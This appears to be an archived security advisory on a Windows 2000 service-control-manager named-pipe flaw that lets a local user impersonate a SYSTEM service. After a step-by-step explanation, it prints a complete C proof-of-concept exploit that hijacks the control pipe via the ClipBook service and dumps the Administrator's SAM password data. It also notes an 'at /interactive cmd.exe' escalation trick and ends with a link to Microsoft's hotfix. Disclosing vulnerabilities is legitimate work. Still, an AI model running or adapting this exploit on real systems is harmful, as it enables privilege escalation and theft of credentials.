COMMAND
kernel
SYSTEMS AFFECTED
Win 2000
PROBLEM
Mike Schiffman found following (Guardent Security Advisory). A
vulnerability in the way Windows 2000 handles named pipes allows
any non-privileged user to elevate his or her current security
context to that of an arbitrary service (started by the service
control manager). By exploiting this bug, a non-privileged local
user can gain privileged access to the system.
Guardent discovered and successfully exploited this vulnerability
in Microsoft Windows 2000. Guardent's research and development
team notified Microsoft when the vulnerability was initially
found and worked with them to fix the problem.
The vulnerability resides in the communication algorithm used to
implement a client/server architecture between the service
control manager (SCM) and the services started by the SCM. By
exploiting this vulnerability, a malicious or unauthorized process
has the opportunity to effectively become the server-end of a
named pipe. A service, started by the SCM, will connect to the
named pipe, and after becoming the server-end of the pipe, the
process has the ability to impersonate the security context of
the client connected to the pipe, which in this case is an NT
Service.
The first step involved in exploiting the vulnerability is to
determine what the name of the next NT SCM control pipe will be.
This name can be gleaned from the registry:
HKLM\System\CurrentControlSet\Control\ServiceCurrent.
Step two: increment the value and append it to the string:
"\\.\pipe\net\NtControlPipe".
Step three: create a named pipe using this name and wait for pipe
clients.
Step four: after the pipe has been created, instruct the SCM to
start an arbitrary service. All services have a security
descriptor associated with them that dictates to the SCM which
users can perform which actions to the service in question.
Included with the release of Windows 2000 are numerous services
with a security descriptor that allows interactive accounts to
start them, and which also run as LocalSystem. One example is
"ClipBook".
At this point, the service that was recently instructed to start
has connected to the malicious pipe (rather than the SCM pipe as
would normally do).
Finally, the basic requirement for impersonation is to initiate a
ReadFile call on the pipe.
The malicious process now has the ability to impersonate the
security context of the client by using the call
ImpersonateNamedPipeClient. This effectively gives the malicious
thread an impersonation token of the service that has connected to
the pipe.
The malicious process now has the opportunity to perform
privileged operations under the security context of the service
that has connected to the malicious named pipe. The process can
now inject a remote thread, read process memory, or attempt to
perform privilege elevation techniques to obtain administrator
privileges.
Here is a proof of concept. If it doesn't work with your compiler
or you don't have one, too bad. It does work with the compiler
and the OS version listed below.
/*
* Proof of Concept
* Windows2000 services named pipe vulnerability
*
* Author: Maceo
*
* Compiled with MS VC++ 6.0 SP3
*
* Compiled and tested on:
* D:\>uname -sv
* Windows2000 5.0.2195
*
* Proof of concept: This code abuses the clipbook service
* to run as the SYSTEM account and then dumps information
* from the local SAM database.
*
* This file is for educational purposes only. As many
* would agree, the default install of a W2K server is
* inherently insecure against interactive users. One
* does not have to dig very hard to find a way to
* elevate a users privileges when placed in an interactive
* situation, such as logged in at a console. For instance:
* D:\>time
* The current time is: 23:28:38.42
* D:\>at 23:29 /interactive cmd.exe
*
* It is with this in mind I release the following code.
*
* Disclaimer: This file is intended as proof of concept, and
* is not intended to be used for illegal purposes. The author
* does not accept responsibility for ANY damage incurred
* by the use of it.
*
*/
#include <stdio.h>
#include <windows.h>
#define ABUSE_SVC "clipbook"
#define SVC_KEY "SYSTEM\\CurrentControlSet\\Control\\ServiceCurrent"
#define SAM_KEY "SAM\\SAM\\Domains\\Account\\Users\\000001F4"
int main( )
{
HKEY hOpen;
DWORD dwNumber = 0;
DWORD dwType = REG_DWORD;
DWORD dwSize = sizeof(DWORD);
char szNetCmd[256];
// make sure the service we want to abuse is stopped. //
sprintf (szNetCmd, "net stop %s", ABUSE_SVC);
system (szNetCmd);
// open the current service number key //
if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, SVC_KEY, 0, KEY_READ, &hOpen))
{
printf ("Failed to open key:\n %s\n", SVC_KEY);
return 1;
}
// read the key //
if (RegQueryValueEx (hOpen, "", NULL, &dwType, (BYTE *) &dwNumber, &dwSize))
{
RegCloseKey (hOpen);
printf ("Failed to read key:\n %s\n", SVC_KEY);
return 2;
}
// close the key //
RegCloseKey (hOpen);
// build the next named pipe name //
char szPipe[64];
sprintf(szPipe, "\\\\.\\pipe\\net\\NtControlPipe%lu", ++dwNumber);
// create the named pipe before scm can //
HANDLE hPipe = 0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT,
2, 0, 0, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE)
{
printf ("Failed to create named pipe:\n %s\n", szPipe);
return 3;
}
// start the service we are going to abuse. //
sprintf(szNetCmd, "start /min net start %s", ABUSE_SVC);
system(szNetCmd);
// wait for the service to connect //
ConnectNamedPipe (hPipe, NULL);
// read a byte of data from the client //
if (!ReadFile (hPipe, (void *) &dwNumber, 4, &dwSize, NULL))
{
printf ("Failed to read the named pipe.\n");
CloseHandle(hPipe);
return 4;
}
// assume the identity of the client //
if (!ImpersonateNamedPipeClient (hPipe))
{
printf ("Failed to impersonate the named pipe.\n");
CloseHandle(hPipe);
return 5;
}
// display impersonating users name //
dwSize = 256;
char szUser[256];
GetUserName(szUser, &dwSize);
printf ("Impersonating: %s\n", szUser);
// Assume we are SYSTEM since it is the default,
// and let's crack open the SAM database and
// lookup rid 500 (Administrator unless name has been changed)
if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, SAM_KEY, 0, KEY_READ, &hOpen))
{
printf ("Failed to open key:\n %s\n", SAM_KEY);
return 1;
}
// read the F key //
dwSize = 2048;
BYTE szData[2048];
if (RegQueryValueEx (hOpen, "F", NULL, &dwType, szData, &dwSize))
{
RegCloseKey (hOpen);
printf ("Failed to read key:\n %s\\F\n", SAM_KEY);
return 2;
}
// output the key //
printf ("Dumping SAM for RID 500 ...\n\n");
printf ("F:0x");
for (DWORD i = 0; i < dwSize; i++)
{ printf ("%2.2x", (DWORD) szData[i]); }
printf ("\n\n");
// read the V key //
dwSize = 2048;
if (RegQueryValueEx (hOpen, "V", NULL, &dwType, szData, &dwSize))
{
RegCloseKey (hOpen);
printf ("Failed to read key:\n %s\\V\n", SAM_KEY);
return 2;
}
// output the key //
printf ("V:0x");
for (i = 0; i < dwSize; i++)
{ printf ("%2.2x", (DWORD) szData[i]); }
printf ("\n");
// clean up //
RegCloseKey (hOpen);
CloseHandle(hPipe);
return 0;
}
Just to set the record straight, the AT command is accessible to
Administrators only under a default installation of W2K, so the
idea its used (any more) to do privilege escalation is likely
borne out of always running as Administrator (or member of).
SOLUTION
Guardent notified Microsoft of this issue immediately after
discovering and verifying the problem. As a result, Microsoft
was able to locate the source of the vulnerability and create a
hotfix to alleviate the problem. The hotfix can be downloaded
from:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=23432